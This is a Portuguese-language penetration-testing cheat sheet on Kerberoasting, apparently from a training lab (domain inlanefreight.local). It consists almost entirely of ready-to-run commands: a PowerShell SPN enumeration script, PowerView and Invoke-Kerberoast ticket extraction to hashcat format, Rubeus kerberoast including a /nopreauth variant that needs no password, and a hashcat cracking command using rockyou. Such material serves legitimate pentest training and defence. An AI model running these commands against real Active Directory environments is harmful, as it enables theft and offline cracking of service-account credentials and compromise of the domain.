Kerberoasting
Descrição
Kerberoasting
É um ataque contra contas de serviço que permite a um invasor realizar um ataque offline de quebra de senha contra a conta do Active Directory associada ao serviço. É semelhante ao ASREPRoasting, mas requer autenticação prévia no domínio.
Enumeração
Um pequeno script do PowerShell nos permite automatizar a busca por essas contas em um ambiente:
$search = New-Object DirectoryServices.DirectorySearcher([ADSI]"")
$search.filter = "(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*))"
$results = $search.Findall()
foreach($result in $results)
{
$userEntry = $result.GetDirectoryEntry()
Write-host "User"
Write-Host "===="
Write-Host $userEntry.name "(" $userEntry.distinguishedName ")"
Write-host ""
Write-host "SPNs"
Write-Host "===="
foreach($SPN in $userEntry.servicePrincipalName)
{
$SPN
}
Write-host ""
Write-host ""
}
Enumerar SPN com PowerView
PS C:\Tools> Import-Module .\PowerView.ps1
PS C:\Tools> Get-DomainUser -SPN
Também podemos usar o PowerView para executar diretamente o ataque Kerberoasting.
PS C:\Tools> Import-Module .\PowerView.ps1
PS C:\Tools> Get-DomainUser * -SPN | Get-DomainSPNTicket -format Hashcat | export-csv .\tgs.csv -notypeinformation
PS C:\Tools> cat .\tgs.csv
Invoke-Kerberoast
PS C:\Tools> Import-Module .\PowerView.ps1
PS C:\Tools> Invoke-Kerberoast
Kerberoasting com Rubeus
C:\Tools>Rubeus.exe kerberoast /nowrap
Hash Cracking
C:\Tools\hashcat-6.2.6> hashcat.exe -m 13100 C:\Tools\kerb.txt C:\Tools\rockyou.txt -O
Kerberoasting sem uma senha de conta
Há um caso em que podemos executar um ataque Kerberoasting sem uma conta de domínio e senha válidas.
Executar Rubeus createnetonly
C:\Tools> Rubeus.exe createnetonly /program:cmd.exe /show
A partir da nova janela cmd aberta, realizaremos o ataque; se tentarmos executar a opção Kerberoast, ele falhará porque não estamos autenticados.
Executando o ataque com /nopreauth
Rubeus.exe kerberoast /nopreauth:amber.smith /domain:inlanefreight.local /spn:MSSQLSvc/SQL01:1433 /nowrap
Last updated